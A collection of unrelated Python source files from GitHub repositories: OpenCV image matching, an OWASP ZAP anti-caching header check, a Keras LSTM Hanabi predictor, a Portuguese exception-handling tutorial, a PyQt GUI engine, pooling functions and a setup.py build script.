else:\n average_offers_per_contract = total_offers / num_unique_contracts\n contracts_value = data[\"Award Amount\"].sum()\n\n return contracts_count, average_offers_per_contract, contracts_value\n\n\ndef format_currency_label(value):\n if value >= 1e9: # Billion\n return f'{value / 1e9:.2f} bn'\n elif value >= 1e6: # Million\n return f'{value / 1e6:.2f} M'\n elif value >= 1e3: # Thousand\n return f'{value / 1e3:.2f} K'\n else:\n return f'{value:.2f}'\n\n\ndef format_date_column(data):\n if len(data) != 0:\n for i in data.columns:\n if isinstance(data[i].iloc[0], datetime.datetime):\n data[i] = data[i].dt.strftime(\"%m-%d-%Y\")\n return data\n","repo_name":"noorulhudaajmal/FOAM-Dashboard","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6303338712","text":"\nimport cv2\nimport numpy as np\nimport os\nimport embeddingFunc\n\n\n\n#Global Variables for image embeddings\nloaded_image_embeddings=embeddingFunc.image_embeddings\nloaded_image_paths =embeddingFunc.image_paths\n\n\n\ndef comparison_by_method(img_warped, folder_path, method, conn=None):\n if method == 'SIFT':\n return sift_comparison(img_warped, folder_path)\n elif method == 'BRISK':\n return brisk_comparison(img_warped, folder_path)\n elif method == 'ORB':\n return orb_comparison(img_warped, folder_path)\n elif method == 'AKAZE':\n return akaze_comparison(img_warped, folder_path)\n elif method == 'EMBEDDING':\n return comparison_by_embedding(img_warped)\n elif method == 'AKAZEDB':\n return akaze_comparison_db(img_warped, conn)\n else:\n raise ValueError(f\"Invalid method: {method}\")\n\ndef sift_comparison(img_query, folder_path):\n # Initialize SIFT\n sift = cv2.SIFT_create()\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = sift.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_L2, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = sift.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n matches = list(matches)\n matches.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches[:min(10, len(matches))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0],None,None\n\n\ndef orb_comparison(img_warped, folder_path):\n # Initialize the ORB detector\n orb = cv2.ORB_create()\n \n # Compute the keypoints and descriptors of the query image\n kp1, des1 = orb.detectAndCompute(img_warped, None)\n \n # Initialize the BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n \n max_matches = 0\n matching_image = None\n \n for filename in os.listdir(folder_path):\n if filename.endswith('.jpg') or filename.endswith('.png'):\n img2 = cv2.imread(os.path.join(folder_path, filename), 0)\n kp2, des2 = orb.detectAndCompute(img2, None)\n \n matches = bf.match(des1, des2)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n \n if len(matches_list) > max_matches:\n max_matches = len(matches_list)\n matching_image = filename\n \n return matching_image,None,None\n \n\n\n\n\n\ndef brisk_comparison(img_query, folder_path):\n # Initialize BRISK\n brisk = cv2.BRISK_create()\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = brisk.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = brisk.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0],None,None\n\ndef akaze_comparison(img_query, folder_path):\n # Initialize AKAZE\n akaze = cv2.AKAZE_create(threshold=0.002)\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = akaze.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n for file in os.listdir(folder_path):\n if file.endswith(('.png', '.jpg', '.jpeg')):\n img_path = os.path.join(folder_path, file)\n img_train = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n\n # Find keypoints and descriptors for the train image\n kp_train, des_train = akaze.detectAndCompute(img_train, None)\n\n # Match keypoints\n matches = bf.match(des_query, des_train)\n \n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = file\n best_match_score = match_score\n\n return os.path.splitext(best_match)[0], kp_query, des_query\n\n\n\n \ndef comparison_by_embedding(img_warped):\n img_warped_preprocessed = embeddingFunc.preprocess_image(img_warped)\n img_warped_embedding = embeddingFunc.embedding_function(img_warped_preprocessed)\n \n min_distance = float(\"inf\")\n min_distance_index = -1\n \n for index, embedding in enumerate(loaded_image_embeddings):\n distance = np.linalg.norm(img_warped_embedding - embedding)\n if distance < min_distance:\n min_distance = distance\n min_distance_index = index\n matched_image_path = loaded_image_paths[min_distance_index]\n matched_image_filename = os.path.splitext(os.path.basename(matched_image_path))[0]\n return matched_image_filename, None, None\n\ndef akaze_comparison_db(img_query, conn):\n # Initialize AKAZE\n akaze = cv2.AKAZE_create(threshold=0.002)\n\n # Find keypoints and descriptors for the query image\n kp_query, des_query = akaze.detectAndCompute(img_query, None)\n\n # Initialize BFMatcher\n bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)\n\n best_match = None\n best_match_score = float('inf')\n\n # Fetch stored AKAZE features from the database\n cursor = conn.cursor()\n cursor.execute(\"SELECT id, akaze FROM cards\")\n rows = cursor.fetchall()\n\n for row in rows:\n image_id, akaze_features_str = row\n\n if akaze_features_str is not None:\n # Convert the string representation of AKAZE features back to a NumPy array\n akaze_features = np.fromstring(akaze_features_str, sep=',').astype(np.uint8).reshape(-1, 61)\n\n # Match keypoints\n matches = bf.match(des_query, akaze_features)\n\n # Convert the matches object to a list before sorting\n matches_list = list(matches)\n matches_list.sort(key=lambda x: x.distance)\n\n # Calculate the total distance of the top matches\n top_matches = matches_list[:min(10, len(matches_list))]\n match_score = sum([match.distance for match in top_matches])\n\n # Update the best match\n if match_score < best_match_score:\n best_match = image_id\n best_match_score = match_score\n\n return best_match, kp_query, des_query\n","repo_name":"CurorVult/CV-Mat-Sort","sub_path":"altComparison.py","file_name":"altComparison.py","file_ext":"py","file_size_in_byte":8281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5027684285","text":"\"\"\"\n\nScript testing 8.2.1 control from OWASP ASVS 4.0:\n'Verify the application sets sufficient anti-caching headers so that sensitive\ndata is not cached in modern browsers.'\n\nThe script will raise an alert if 'Cache-Control' and 'Pragma' headers are not present. \n \n\"\"\"\n\ndef scan(ps, msg, src):\n\n #find \"Cache-Control\" and \"Pragma\" headers\n header_cache = str(msg.getResponseHeader().getHeader(\"Cache-Control\"))\n header_pragma = str(msg.getResponseHeader().getHeader(\"Pragma\"))\n\n #alert parameters\n alertRisk= 1\n alertConfidence = 2\n alertTitle = \"8.2.1 Verify the application sets sufficient anti-caching headers.\"\n alertDescription = \"Verify the application sets sufficient anti-caching headers so that sensitive data is not cached in modern browsers.\"\n url = msg.getRequestHeader().getURI().toString()\n alertParam = \"\"\n alertAttack = \"\"\n alertInfo = \"https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses\"\n alertSolution = \"Add anti caching headers to HTTP response (Cache-Control, Pragma).\"\n alertEvidence = \"\" \n cweID = 525\n wascID = 0\n \n #if 'Cache-Control' and 'Pragma' headers are not present\n if (header_cache == \"None\" and header_pragma == \"None\"):\n ps.raiseAlert(alertRisk, alertConfidence, alertTitle, alertDescription, \n url, alertParam, alertAttack, alertInfo, alertSolution, alertEvidence, cweID, wascID, msg);\n","repo_name":"BlazingWind/OWASP-ASVS-4.0-testing-guide","sub_path":"ZAP-scripts/passive/8-2-1-anti-cache-header.py","file_name":"8-2-1-anti-cache-header.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"61"} +{"seq_id":"26845069102","text":"# Developed by Lorenzo Mambretti, Justin Wang\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://github.com/jtwwang/hanabi/blob/master/LICENSE\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied\n\nfrom __future__ import print_function\nfrom .policy_pred import policy_pred\n\nfrom data_pipeline.util import one_hot_list, split_dataset\nfrom data_pipeline.experience import Experience\nfrom data_pipeline.balance_data import balance_data\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import LSTM, Dense, TimeDistributed\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard\n\nimport math\nimport numpy as np\nimport os\n\n\nclass lstm_pred(policy_pred):\n def __init__(self, agent_class):\n self.model_type = \"lstm\"\n super(lstm_pred, self).__init__(agent_class, self.model_type)\n\n def create_model(self):\n x = Sequential()\n # x.add(TimeDistributed(Conv1D(filters=16, kernel_size=5, strides=2,\n #\tinput_shape=(self.input_dim,1), padding='same', activation=activation)))\n x.add(LSTM(64, input_shape=(None, self.input_dim), return_sequences=True))\n x.add(LSTM(64, return_sequences=True))\n x.add(LSTM(128, return_sequences=True))\n x.add(TimeDistributed(Dense(self.action_space)))\n self.model = x\n return x\n\n def reshape_data(self, X_raw):\n\n if X_raw.shape == (self.action_space,):\n X_raw = np.reshape(X_raw, (1, X_raw.shape[0]))\n\n X = np.reshape(X_raw, (1, X_raw.shape[0], X_raw.shape[1]))\n return X\n\n def seperate_games(self, obs, actions, eps):\n X, y = [], []\n for ep in eps:\n X.append(obs[range(ep[0], ep[1])])\n y.append(actions[range(ep[0], ep[1])])\n X = np.array(X)\n y = np.array(y)\n return (X, y)\n\n def extract_data(self, agent_class, val_split, games=-1, balance=False):\n \"\"\"\n args:\n agent_class (string)\n num_player (int)\n \"\"\"\n print(\"Loading Data...\", end='')\n replay = Experience(agent_class, load=True)\n moves, _, obs, eps = replay.load(games=games)\n\n if balance:\n # make class balanced\n X, y = balance_data(obs, moves, randomize = False)\n\n # Dimensions: (episodes, moves_per_game, action_space)\n X, y = self.seperate_games(obs, moves, eps)\n\n # split dataset here\n X_train, y_train, X_test, y_test = split_dataset(X, y, val_split)\n \n # convert to one-hot encoded tensor\n self.y_train = one_hot_list(y_train, replay.n_moves)\n self.y_test = one_hot_list(y_test, replay.n_moves)\n\n self.X_train = X_train\n self.X_test = X_test\n\n self.input_dim = obs.shape[1]\n self.action_space = replay.n_moves\n\n print(\"Experience Loaded!\")\n\n def separate_player_obs(self, X, y, players=2):\n \"\"\" Seperates observations into what each player sees\n Returns:\n X_sep_all (np arr): obs belonging to a single agent\n y_sep_all (np arr): labels belonging to a single agent\n \"\"\"\n X_sep_all = []\n y_sep_all = []\n for player in range(players):\n X_sep_all.append(np.asarray(X[player::players]))\n y_sep_all.append(np.asarray(y[player::players]))\n #print(\"X_sep: {}\".format(X_sep_all[player].shape))\n return X_sep_all, y_sep_all\n\n def generate_conv1d(self, X, y):\n i = 0\n while True:\n X_sep_all, y_sep_all = self.separate_player_obs(X[i], y[i])\n for X_sep, y_sep in zip(X_sep_all, y_sep_all):\n #print(\"X_sep: {}\".format(X_sep.shape))\n X_train = self.reshape_data(X_sep)\n y_train = self.reshape_data(y_sep)\n yield X_train, y_train\n i = (i + 1) % len(X)\n\n def generate(self, X, y):\n \"\"\"\n Generate trainable matrices per game_episode.\n Necessary since we need to train game by game (instead of move by move)...\n but games have varying length.\n \"\"\"\n i = 0\n while True:\n X_sep_all, y_sep_all = self.separate_player_obs(X[i], y[i])\n for X_sep, y_sep in zip(X_sep_all, y_sep_all):\n X_train = self.reshape_data(X_sep)\n y_train = self.reshape_data(y_sep)\n yield X_train, y_train\n i = (i + 1) % len(X)\n\n def fit(self, epochs=100, batch_size=1, learning_rate=0.001, val_split=None):\n\n adam = optimizers.Adam(\n lr=learning_rate,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=None,\n decay=0.0,\n amsgrad=False)\n\n self.create_model()\n self.model.compile(loss='cosine_proximity',\n optimizer=adam, metrics=['accuracy'])\n\n # Create checkpoint directory\n if not os.path.exists(self.checkpoint_path):\n try:\n os.makedirs(self.checkpoint_path)\n except OSError:\n print(\"Creation of the directory %s failed\" %\n self.checkpoint_path)\n\n checkpoints = ModelCheckpoint(\n os.path.join(self.checkpoint_path, 'weights{epoch:08d}.h5'),\n save_weights_only=True, period=50)\n tensorboard = TensorBoard(log_dir=\"./logs\")\n\n self.model.fit_generator(\n self.generate(self.X_train, self.y_train),\n steps_per_epoch=self.X_train.shape[0]/batch_size,\n epochs=epochs,\n validation_data=self.generate(self.X_test, self.y_test),\n validation_steps=self.X_test.shape[0]/batch_size,\n callbacks=[checkpoints, tensorboard])\n\n # CURRENTLY UNUSED. TODO: REWRITE\n def perform_lstm_cross_validation(self, k, max_ep):\n global flags\n mean = 0\n\n X, Y, eps = self.extract_data(flags['agent_class'])\n max_ep = min(max_ep, math.floor(len(eps)/k))\n\n for i in range(k):\n # split the data\n train_id = range(eps[i * max_ep][0], eps[(i + 1)*max_ep - 1][1])\n test_id = range(0, eps[i * max_ep][0]) + \\\n range(eps[(i + 1)*max_ep][0], eps[-1][1])\n X_train, X_test = X[train_id], X[test_id]\n y_train, y_test = Y[train_id], Y[test_id]\n\n # initialize the predictor (again)\n pp = policy_net(X.shape[1], Y.shape[1], flags['agent_class'])\n\n pp.fit(X_train, y_train,\n epochs=flags['epochs'],\n batch_size=flags['batch_size'],\n learning_rate=flags['lr'])\n\n # calculate accuracy and add it to the mean\n score = pp.model.evaluate(X_test, y_test, verbose=0)\n mean += score[1]\n\n # calculate the mean\n mean = mean/k\n return mean\n","repo_name":"jtwwang/hanabi","sub_path":"predictors/lstm_pred.py","file_name":"lstm_pred.py","file_ext":"py","file_size_in_byte":7172,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"15140776821","text":"#O try bloco permite que você teste um bloco de código em busca de erros.\n\n#O except bloco permite lidar com o erro.\n\n#O else bloco permite executar o código quando não há erro.\n\n#O finally bloco permite que você execute o código, \n# independentemente do resultado dos blocos try e except.\n\n#Manipulação de exceção\n#Quando ocorre um erro, ou exceção, como chamamos, o \n# Python normalmente para e gera uma mensagem de erro.\n\n#Essas exceções podem ser tratadas usando a tryinstrução:\n\n#O try bloco irá gerar uma exceção, pois xnão está definido:\ntry:\n print(x)\nexcept:\n print(\"An exception occurred\")#saida An exception occurred\n \n#Como o bloco try gera um erro, o bloco except será executado.\n\n#Sem o bloco try, o programa falhará e gerará um erro:\nprint(x)\n#saida Traceback (most recent call last):\n# File \"demo_try_except_error.py\", line 3, in \n# print(x)\n#NameError: name 'x' is not defined\n\n\n#----------------------------------------------------------------------------------------------\n#Muitas Exceções\n#Você pode definir quantos blocos de exceção quiser, por exemplo, \n# se quiser executar um bloco de código especial para um tipo especial de erro:\n\ntry:\n print(x)\nexcept NameError:\n print(\"Variable x is not defined\")\nexcept:\n print(\"Something else went wrong\")\n#saida Variable x is not defined\n\n#----------------------------------------------------------------------------------------------\n#Senão\n#Você pode usar a else palavra-chave para definir um bloco de código a\n# ser executado se nenhum erro for gerado:\ntry:\n print(\"Hello\")\nexcept:\n print(\"Something went wrong\")\nelse:\n print(\"Nothing went wrong\")\n#saida Hello\n#Nothing went wrong\n\n#----------------------------------------------------------------------------------------------\n#Finalmente\n#O finally bloco, se especificado, será executado independentemente se o \n# bloco try gerar um erro ou não.\ntry:\n print(x)\nexcept:\n print(\"Something went wrong\")\nfinally:\n print(\"The 'try except' is finished\")\n#saida Something went wrong\n#The 'try except' is finished\n\n#OBS:Isso pode ser útil para fechar objetos e limpar recursos:\ntry:\n f = open(\"demofile.txt\")\n try:\n f.write(\"Lorum Ipsum\")\n except:\n print(\"Something went wrong when writing to the file\")\n finally:\n f.close()\nexcept:\n print(\"Something went wrong when opening the file\") \n #saida Something went wrong when writing to the file\n#----------------------------------------------------------------------------------------------\n#Levantar uma exceção\n#Como desenvolvedor Python, você pode optar por lançar uma exceção se ocorrer uma condição.\n\n#Para lançar (ou gerar) uma exceção, use a palavra- raise chave.\n\nx = -1\n\nif x < 0:\n raise Exception(\"Sorry, no numbers below zero\")\n#saida Traceback (most recent call last):\n# File \"demo_ref_keyword_raise.py\", line 4, in \n# raise Exception(\"Sorry, no numbers below zero\")\n#Exception: Sorry, no numbers below zero\n\n#A raise palavra-chave é usada para gerar uma exceção.\n#Você pode definir que tipo de erro gerar e o texto a ser impresso para o usuário.\nx = \"hello\"\n\nif not type(x) is int:\n raise TypeError(\"Only integers are allowed\")\n#saida Traceback (most recent call last):\n# File \"demo_ref_keyword_raise2.py\", line 4, in \n# raise TypeError(\"Only integers are allowed\")\n#TypeError: Only integers are allowed\n#----------------------------------------------------------------------------------------------\n","repo_name":"IMNascimento/SENAI","sub_path":"python/TryExcept/tryExcept.py","file_name":"tryExcept.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"24362739789","text":"import os\nimport sys\nfrom datetime import datetime, timedelta\nfrom threading import RLock\nfrom typing import List, Dict, Tuple, Callable, Any\n\nimport qtmodern.styles\nfrom PyQt5.QtCore import pyqtSignal, QObject\nfrom PyQt5.QtGui import QIcon, QFont\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow\n\nfrom .dependency_injection import DependencyInjectionApp\nfrom .extra_ui import existing_single_file_dialog, existing_multiple_files_dialog, new_file_dialog, directory_dialog\nfrom .gui_builder import build_widget\nfrom .gui_refresher import refresh_widget\nfrom .user_dialog import yes_no_dialog, info_dialog, warning_dialog, error_dialog\nfrom ..components import *\nfrom ..components.dependency_injection import GuiManage, GuiDialog, DependencyInjection\nfrom ..components.layout import Row\nfrom ..components.singleton import Singleton\n\n\nclass WidgetContainer(QMainWindow):\n widget: QWidget\n\n def __init__(self, init_widget: QWidget, icon_path: str, title: str, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self.widget = init_widget\n self.setCentralWidget(self.widget)\n self.setWindowIcon(QIcon(icon_path))\n self.setWindowTitle(title)\n\n def replace_widget(self, new_widget: QWidget) -> None:\n self.widget = new_widget\n self.setCentralWidget(self.widget)\n\n\nclass App(metaclass=Singleton):\n _application: QApplication\n _dwidgets: Dict[int, QWidget]\n _refresh_lock: RLock\n _last_refresh: datetime\n\n class _QObject(QObject):\n _refresh_signal = pyqtSignal()\n _weak_refresh_signal = pyqtSignal()\n\n _qobject_signals: _QObject\n\n widget_sketch: Sketch\n widget_container: WidgetContainer\n current_model: Any\n current_view: Tuple[Callable[[Any], List[List[Sketch]]]]\n\n def __init__(self, model: Any, view: Callable[[Any], Any], icon_path: str, title: str) -> None:\n self._qobject_signals = self._QObject()\n self._last_refresh = datetime.now()\n self._refresh_lock = RLock()\n self._application = QApplication([])\n if os.name == 'nt':\n self._application.setFont(QFont('Arial'))\n self.current_model = model\n self.current_view = (view,)\n self.widget_sketch = sketch_decorator(self.current_view[0](self.current_model))\n\n widget, self._dwidgets = build_widget(self.widget_sketch)\n self.widget_container = WidgetContainer(widget, icon_path, title)\n\n # hack\n # self.widget_container.widget: ScrollableArea\n # self.widget_container.widget.widget(): MyQWidget\n self.widget_container.widget.widget().resized.connect(self.update_window_min_size)\n\n DependencyInjectionApp().refresh_gui = (self.refresh_gui,)\n DependencyInjectionApp().weak_refresh_gui = (self.weak_refresh,)\n DependencyInjectionApp().update_gui = (self.update_gui,)\n DependencyInjectionApp().get_dwidgets = ((lambda: self._dwidgets),)\n\n self._qobject_signals._refresh_signal.connect(DependencyInjectionApp().refresh_gui[0])\n self._qobject_signals._weak_refresh_signal.connect(DependencyInjectionApp().weak_refresh_gui[0])\n\n GuiManage()._refresh_view = ((lambda: self._qobject_signals._weak_refresh_signal.emit()),)\n GuiManage()._force_refresh_view = ((lambda: self._qobject_signals._refresh_signal.emit()),)\n\n GuiDialog()._yes_no_dialog = ((lambda q: yes_no_dialog(self.widget_container, q)),)\n GuiDialog()._info_dialog = ((lambda q: info_dialog(self.widget_container, q)),)\n GuiDialog()._warning_dialog = ((lambda q: warning_dialog(self.widget_container, q)),)\n GuiDialog()._error_dialog = ((lambda q: error_dialog(self.widget_container, q)),)\n\n DependencyInjection().open_file_action = (\n (lambda x: existing_single_file_dialog(self.widget_container, x)),)\n DependencyInjection().open_multiple_files_action = (\n (lambda x: existing_multiple_files_dialog(self.widget_container, x)),)\n DependencyInjection().save_file_action = (\n (lambda x: new_file_dialog(self.widget_container, x)),)\n DependencyInjection().open_directory_action = (\n (lambda x: directory_dialog(self.widget_container, x)),)\n\n def update_window_min_size(self):\n # hack\n # self.widget_container.widget: ScrollableArea\n # self.widget_container.widget.widget(): MyQWidget\n self.widget_container.setMinimumWidth(self.widget_container.widget.widget().minimumSizeHint().width())\n\n def forever_loop(self, dark=False) -> None:\n if dark:\n qtmodern.styles.dark(self._application)\n else:\n qtmodern.styles.light(self._application)\n\n self.widget_container.show()\n sys.exit(self._application.exec())\n\n def weak_refresh(self, rate: int = 6):\n dt = timedelta(seconds=1) / rate\n if datetime.now() - self._last_refresh > dt:\n if self._refresh_lock.acquire(timeout=dt.total_seconds()):\n self.refresh_gui()\n self._refresh_lock.release()\n\n def refresh_gui(self):\n self._refresh_lock.acquire()\n self._last_refresh = datetime.now()\n self.widget_container.widget.hide()\n\n resketch = sketch_decorator(self.current_view[0](self.current_model))\n refresh_widget(self.widget_sketch, resketch)\n self.widget_sketch = resketch\n\n self.widget_container.widget.show()\n self._refresh_lock.release()\n\n def update_gui(self, next_model: Any, next_view: Callable[[Any], List[List[Sketch]]]) -> None:\n self._refresh_lock.acquire()\n # self.widget_container.widget.hide()\n\n self.current_model = next_model\n self.current_view = (next_view,)\n\n self.refresh_gui()\n\n # self.widget_sketch = sketch_decorator(self.current_view[0](self.current_model))\n # widget, self.dwidgets = build_widget(self.widget_sketch)\n # self.widget_container.replace_widget(widget)\n\n # self.widget_container.widget.show()\n self._refresh_lock.release()\n\n\ndef sketch_decorator(rows_list: List[List[Sketch]]) -> Sketch:\n return ScrollArea('main', 50, [Group('group', Row(), row) for row in rows_list], _fixed_size=False)\n","repo_name":"sr9000/gui-py-app-framework","sub_path":"sguif/engine/engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9013185466","text":"import torch\n\n\ndef pool_cls(embeddings: torch.Tensor, attention_mask: torch.Tensor) -> torch.Tensor:\n \"\"\"Performs CLS pooling (summarization via CLS token) for a given batch of embeddings.\n\n Args:\n embeddings (torch.Tensor): A batch of token embeddings.\n attention_mask (torch.Tensor): The embeddings' corresponding attention mask.\n\n Returns:\n torch.Tensor: A batch of pooled embeddings.\n \"\"\"\n # Extract the [CLS] embedding\n return embeddings[:, 0, :]\n\n\ndef pool_mean(embeddings: torch.Tensor, attention_mask: torch.Tensor) -> torch.Tensor:\n \"\"\"Performs mean pooling (summarization via token-wise mean) for a given embedding.\n\n Args:\n embeddings (torch.Tensor): A batch of token embeddings.\n attention_mask (torch.Tensor): The embeddings' corresponding attention mask.\n\n Returns:\n torch.Tensor: A batch of pooled embeddings.\n \"\"\"\n # Mean pool across dimension 1\n input_mask_expanded = attention_mask.unsqueeze(-1).expand(embeddings.size()).float()\n pooled = torch.sum(embeddings * input_mask_expanded, 1) / torch.clamp(input_mask_expanded.sum(1), min=1e-9)\n return pooled\n\n\n# Key-indexed pooling function\npooling_fns = {\n \"mean\": pool_mean,\n \"cls\": pool_cls\n}\n","repo_name":"cjc77/nlp-projects","sub_path":"myutilpy/myutilpy/models/pooling.py","file_name":"pooling.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4254406001","text":"#!/usr/bin/env python3\nimport sys\nimport os\nimport shutil\nimport hazama\nfrom os.path import join as pjoin\nfrom glob import glob\nfrom setuptools import setup\nfrom distutils.sysconfig import get_python_lib\nfrom distutils.core import Command\nfrom distutils.errors import DistutilsExecError\nfrom distutils.spawn import find_executable, spawn\nfrom distutils.command.build import build\nfrom setuptools.command.install import install\nfrom distutils.command.clean import clean\n\n\nclass CustomBuild(build):\n sub_commands = [('build_qt', lambda self: True)] + build.sub_commands\n\n\nclass CustomInstall(install):\n _desktop_template = \"\"\"\n[Desktop Entry]\nVersion={ver}\nType=Application\nName=Hazama\nGenericName=Hazama\nComment=Writing diary\nComment[ja]=日記を書く\nComment[zh_CN]=写日记\nIcon=hazama\nExec=hazama\nNoDisplay=false\nCategories=Qt;Utility;\nStartupNotify=false\nTerminal=false\n\"\"\"\n\n def run(self):\n super().run()\n if sys.platform == 'win32':\n return\n\n entry_dir = pjoin(self.root, 'usr/share/applications/')\n svg_dir = pjoin(self.root, 'usr/share/icons/hicolor/scalable/apps/')\n png_dir = pjoin(self.root, 'usr/share/icons/hicolor/48x48/apps/')\n for i in (entry_dir, svg_dir, png_dir):\n os.makedirs(i, exist_ok=True)\n\n with open(entry_dir + 'Hazama.desktop', 'w') as f:\n f.write(self._desktop_template.strip().format(ver=hazama.__version__))\n f.write('\\n')\n\n shutil.copy('res/appicon/appicon-64.svg', svg_dir + 'hazama.svg')\n shutil.copy('res/appicon-48.png', png_dir + 'hazama.png')\n\n\nclass BuildQt(Command):\n description = 'build Qt files(.ts .ui .rc)'\n user_options = [('ts', 't', 'compile ts files only'),\n ('ui', 'u', 'compile ui files only'),\n ('rc', 'r', 'compile rc files only')]\n\n def initialize_options(self):\n # noinspection PyAttributeOutsideInit\n self.ts = self.ui = self.rc = False\n self.force = False\n\n def finalize_options(self): pass\n\n def run(self):\n methods = ('ts', 'ui', 'rc')\n opts = tuple(filter(lambda x: getattr(self, x), methods))\n if opts:\n self.force = True\n else:\n opts = methods # run all methods if no options passed\n\n for i in opts:\n getattr(self, 'compile_'+i)()\n\n def compile_ui(self):\n for src in glob(pjoin('hazama', 'ui', '*.ui')):\n dst = src.replace('.ui', '_ui.py')\n if self.force or (not os.path.isfile(dst) or\n os.path.getmtime(src) > os.path.getmtime(dst)):\n spawn(['pyside-uic', '--from-imports', '-o', dst, '-x', src])\n\n @staticmethod\n def compile_rc():\n spawn(['pyside-rcc', '-py3', pjoin('res', 'res.qrc'), '-o',\n pjoin('hazama', 'ui', 'res_rc.py')])\n\n @staticmethod\n def compile_ts():\n lang_dir = pjoin('build', 'lang')\n if not os.path.isdir(lang_dir):\n os.makedirs(lang_dir)\n\n lres = find_executable('lrelease-qt4') or find_executable('lrelease')\n if not lres:\n raise DistutilsExecError('lrelease not found')\n\n trans = [os.path.basename(i).split('.')[0] for i in\n glob(pjoin('translation', '*.ts'))]\n for i in trans:\n spawn([lres, pjoin('translation', i+'.ts'), '-qm', pjoin(lang_dir, i+'.qm')])\n\n # copy corresponding Qt translations to build/lang\n if sys.platform != 'win32':\n # linux have complete qt library, so don't include; ignore warnings when compile_rc\n return\n pyside_dir = pjoin(get_python_lib(), 'PySide')\n for i in trans:\n target = pjoin(lang_dir, 'qt_%s.qm' % i)\n if not os.path.isfile(target):\n print('copy to ' + target)\n shutil.copy(pjoin(pyside_dir, 'translations', 'qt_%s.qm' % i), target)\n\n\nclass UpdateTranslations(Command):\n description = 'Update translation files'\n user_options = []\n\n def initialize_options(self): pass\n\n def finalize_options(self): pass\n\n def run(self):\n spawn(['pyside-lupdate', pjoin('translation', 'lupdateguide')])\n\n\nclass BuildExe(Command):\n description = 'Call cx_Freeze to build EXE'\n user_options = []\n\n initialize_options = finalize_options = lambda self: None\n\n def run(self):\n spawn([sys.executable, pjoin('utils', 'setupfreeze.py'), 'build_exe'])\n # remove duplicate python DLL\n try:\n dll_path = glob(pjoin('build', 'python*.dll'))[0]\n os.remove(pjoin('build', 'lib', os.path.basename(dll_path)))\n except IndexError:\n pass\n\n\nclass Clean(clean):\n def run(self):\n super().run()\n for i in glob(pjoin('hazama', 'ui', '*_ui.py')):\n print('remove file: ' + i)\n os.remove(i)\n for i in ['build', pjoin('hazama', 'ui', 'res_rc.py')]:\n if os.path.isfile(i):\n print('remove file: ' + i)\n os.remove(i)\n elif os.path.isdir('build'):\n 